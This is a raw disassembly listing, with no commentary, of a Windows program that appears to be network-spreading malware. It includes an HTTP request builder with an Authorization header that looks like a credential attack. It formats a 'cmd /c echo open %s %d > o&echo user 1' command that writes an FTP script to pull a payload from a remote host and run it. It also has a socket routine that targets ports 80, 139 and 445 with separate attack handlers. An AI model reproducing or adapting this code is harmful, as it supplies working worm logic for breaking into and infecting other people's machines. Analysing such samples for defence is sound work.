arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427688
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427680
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D031	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07D	proc near		; CODE XREF: sub_40D21F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B4
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D031
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62F


loc_40D0BF:				; CODE XREF: sub_40D07D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DC
		mov	ebx, [ebp+10h]


loc_40D0CE:				; CODE XREF: sub_40D07D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D8
		push	3
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: sub_40D07D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E2
		push	2
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0E2:				; CODE XREF: sub_40D07D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EB
		push	1


loc_40D0EA:				; CODE XREF: sub_40D07D+59j
					; sub_40D07D+63j
		pop	ebx


loc_40D0EB:				; CODE XREF: sub_40D07D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427698
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D12A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D12A:				; CODE XREF: sub_40D07D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D198
		add	[ebp-18h], eax


loc_40D17C:				; CODE XREF: sub_40D07D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43245C[eax]
		push	eax
		push	1
		call	sub_40D4B1
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17C


loc_40D198:				; CODE XREF: sub_40D07D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B6
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D50A
		mov	[ebp-18h], edi


loc_40D1B6:				; CODE XREF: sub_40D07D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1D0
		sub	esi, [ebp-1Ch]


loc_40D1C1:				; CODE XREF: sub_40D07D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B1
		dec	esi
		jnz	short loc_40D1C1


loc_40D1D0:				; CODE XREF: sub_40D07D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CE
		push	1
		pop	ebx


loc_40D1DC:				; CODE XREF: sub_40D07D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		push	dword_427690
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D561
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21F	proc near		; CODE XREF: ___:0040D41Cp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D808
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D269
		xor	bl, bl
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------


loc_40D269:				; CODE XREF: sub_40D21F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D277
		mov	ecx, eax


loc_40D277:				; CODE XREF: sub_40D21F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27F
		mov	eax, [ebp+18h]


loc_40D27F:				; CODE XREF: sub_40D21F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, esi
		jz	short loc_40D2A4
		xor	bl, bl
		jmp	short loc_40D2A6
; ---------------------------------------------------------------------------


loc_40D2A4:				; CODE XREF: sub_40D21F+7Fj
		mov	bl, 1


loc_40D2A6:				; CODE XREF: sub_40D21F+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AD:				; CODE XREF: sub_40D21F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432608
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB390
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4324A0
		push	eax
		call	sub_40CADB
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D378
		xor	eax, eax
		jmp	loc_40D4A4
; ---------------------------------------------------------------------------


loc_40D378:				; CODE XREF: ___:0040D36Fj
		mov	[ebp-0Ch], esi


loc_40D37B:				; CODE XREF: ___:0040D47Bj
		test	esi, esi
		jnz	loc_40D481
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D469
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB654
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45E
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D426
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6F0
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21F
		add	esp, 1Ch
		jmp	short loc_40D45B
; ---------------------------------------------------------------------------


loc_40D426:				; CODE XREF: ___:0040D3E4j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D440
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDF
		jmp	short loc_40D458
; ---------------------------------------------------------------------------


loc_40D440:				; CODE XREF: ___:0040D430j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45E
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF05


loc_40D458:				; CODE XREF: ___:0040D43Ej
		add	esp, 0Ch


loc_40D45B:				; CODE XREF: ___:0040D424j
		movzx	esi, al


loc_40D45E:				; CODE XREF: ___:0040D3D7j
					; ___:0040D44Aj
		push	ebx
		call	dword_4CB6EC
		test	esi, esi
		jnz	short loc_40D474


loc_40D469:				; CODE XREF: ___:0040D394j
		push	3E8h
		nop
		call	near ptr 2690F24h


loc_40D474:				; CODE XREF: ___:0040D467j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37B


loc_40D481:				; CODE XREF: ___:0040D37Dj
		lea	ecx, [ebp-8]
		call	sub_40C900
		test	esi, esi
		jz	short loc_40D4A2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40D4A2:				; CODE XREF: ___:0040D48Bj
		mov	eax, esi


loc_40D4A4:				; CODE XREF: ___:0040D373j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A9:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B4
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B1	proc near		; CODE XREF: sub_40D07D+110p
					; sub_40D07D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CB
		call	sub_42669A


loc_40D4CB:				; CODE XREF: sub_40D4B1+13j
		test	ebx, ebx
		jbe	short loc_40D502
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D502
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D502:				; CODE XREF: sub_40D4B1+1Cj
					; sub_40D4B1+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D50A	proc near		; CODE XREF: sub_40D07D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D524
		call	sub_42669A


loc_40D524:				; CODE XREF: sub_40D50A+13j
		test	ebx, ebx
		jbe	short loc_40D559
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D559
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D559:				; CODE XREF: sub_40D50A+1Cj
					; sub_40D50A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D50A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D561	proc near		; CODE XREF: sub_40D07D+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D579
		call	sub_426573


loc_40D579:				; CODE XREF: sub_40D561+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58B
		mov	esi, [ebp+arg_8]


loc_40D58B:				; CODE XREF: sub_40D561+25j
		cmp	edi, ebx
		jnz	short loc_40D5AD
		push	dword_427690
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D725
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D725
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5AD:				; CODE XREF: sub_40D561+2Cj
		test	esi, esi
		jbe	short loc_40D5F0
		cmp	esi, eax
		jnz	short loc_40D5F0
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C1
		mov	eax, offset dword_4276A0


loc_40D5C1:				; CODE XREF: sub_40D561+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5F0
		push	1
		mov	ecx, edi
		call	sub_40D6B4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DC
		mov	eax, offset dword_4276A0


loc_40D5DC:				; CODE XREF: sub_40D561+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5F0:				; CODE XREF: sub_40D561+4Ej
					; sub_40D561+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D626
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D60A
		mov	eax, offset dword_4276A0


loc_40D60A:				; CODE XREF: sub_40D561+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D626:				; CODE XREF: sub_40D561+4Aj
					; sub_40D561+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D561	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62F	proc near		; CODE XREF: sub_40D07D+3Dp
					; sub_40D4B1+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D641
		call	sub_42669A


loc_40D641:				; CODE XREF: sub_40D62F+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D66A
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D66A
		cmp	al, 0FFh
		jz	short loc_40D66A
		cmp	edi, edx
		jnz	short loc_40D6A5
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65F:				; CODE XREF: sub_40D62F+47j
		mov	ecx, esi
		call	sub_40D6B4


loc_40D666:				; CODE XREF: sub_40D62F+4Bj
					; sub_40D62F+52j
		xor	al, al
		jmp	short loc_40D6AF
; ---------------------------------------------------------------------------


loc_40D66A:				; CODE XREF: sub_40D62F+19j
					; sub_40D62F+20j ...
		cmp	edi, edx
		jnz	short loc_40D683
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D678
		push	1
		jmp	short loc_40D65F
; ---------------------------------------------------------------------------


loc_40D678:				; CODE XREF: sub_40D62F+43j
		cmp	ecx, edx
		jz	short loc_40D666
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D666
; ---------------------------------------------------------------------------


loc_40D683:				; CODE XREF: sub_40D62F+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D6A0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D695
		cmp	eax, edi
		jnb	short loc_40D6AD


loc_40D695:				; CODE XREF: sub_40D62F+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		jmp	short loc_40D6A5
; ---------------------------------------------------------------------------


loc_40D6A0:				; CODE XREF: sub_40D62F+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AD


loc_40D6A5:				; CODE XREF: sub_40D62F+28j
					; sub_40D62F+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78C


loc_40D6AD:				; CODE XREF: sub_40D62F+64j
					; sub_40D62F+74j
		mov	al, 1


loc_40D6AF:				; CODE XREF: sub_40D62F+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B4	proc near		; CODE XREF: sub_40D07D+1Fp
					; sub_40D07D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6E0
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6E0
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D9
		cmp	al, 0FFh
		jz	short loc_40D6D9
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6D9:				; CODE XREF: sub_40D6B4+19j
					; sub_40D6B4+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6E0:				; CODE XREF: sub_40D6B4+8j
					; sub_40D6B4+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6F0	proc near		; CODE XREF: ___:0040D410p
					; sub_40D849+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D71E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71E:				; CODE XREF: sub_40D6F0+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D725	proc near		; CODE XREF: sub_40D561+39p
					; sub_40D561+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D738
		call	sub_426573


loc_40D738:				; CODE XREF: sub_40D725+Cj
		mov	ecx, edi
		call	sub_40D849
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74E
		mov	ebx, eax


loc_40D74E:				; CODE XREF: sub_40D725+25j
		test	ebx, ebx
		jbe	short loc_40D784
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D784
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D784:				; CODE XREF: sub_40D725+2Bj
					; sub_40D725+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D725	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78C	proc near		; CODE XREF: sub_40D62F+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B2
		mov	edi, [ebp+8]


loc_40D7B2:				; CODE XREF: sub_40D78C+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BF
		xor	eax, eax


loc_40D7BF:				; CODE XREF: sub_40D78C+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7F0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7DA
		xor	eax, eax


loc_40D7DA:				; CODE XREF: sub_40D78C+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7EA
		retn
; ---------------------------------------------------------------------------


loc_40D7EA:				; DATA XREF: sub_40D78C+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7F0:				; CODE XREF: sub_40D78C+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80E
		cmp	eax, edi
		jbe	short loc_40D7FD
		mov	eax, edi


loc_40D7FD:				; CODE XREF: sub_40D78C+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80E:				; CODE XREF: sub_40D78C+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82E
		mov	edi, ebx


loc_40D82E:				; CODE XREF: sub_40D78C+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D849	proc near		; CODE XREF: sub_40D725+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D876
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D876
		cmp	al, 0FFh
		jz	short loc_40D876
		push	1
		call	sub_40D6B4
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6F0


loc_40D876:				; CODE XREF: sub_40D849+9j
					; sub_40D849+10j ...
		pop	edi
		pop	esi
		retn
sub_40D849	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D879	proc near		; DATA XREF: ___:00429008o
		test	byte_4DBC74, 1
		jnz	short loc_40D889
		or	byte_4DBC74, 1


loc_40D889:				; CODE XREF: sub_40D879+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D879	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89B	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D8A0	proc near
		mov	eax, dword_4328C0
		add	eax, 6
		mov	dword_4CE374, eax
		retn
sub_40D8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AE	proc near		; CODE XREF: sub_40D8AE+D0p
					; ___:0040DE0Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C2
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C6
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D8AE+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C6:				; CODE XREF: sub_40D8AE+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8EA
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FC
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D8AE+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FC:				; CODE XREF: sub_40D8AE+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D995
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700649h
		test	eax, eax
		jz	short loc_40D98C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98C
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D988
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D988:				; CODE XREF: sub_40D8AE+B3j
		mov	al, 1
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D98C:				; CODE XREF: sub_40D8AE+9Cj
					; sub_40D8AE+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D995:				; CODE XREF: sub_40D8AE+61j
		xor	al, al


loc_40D997:				; CODE XREF: sub_40D8AE+D8j
					; sub_40D8AE+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AE	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
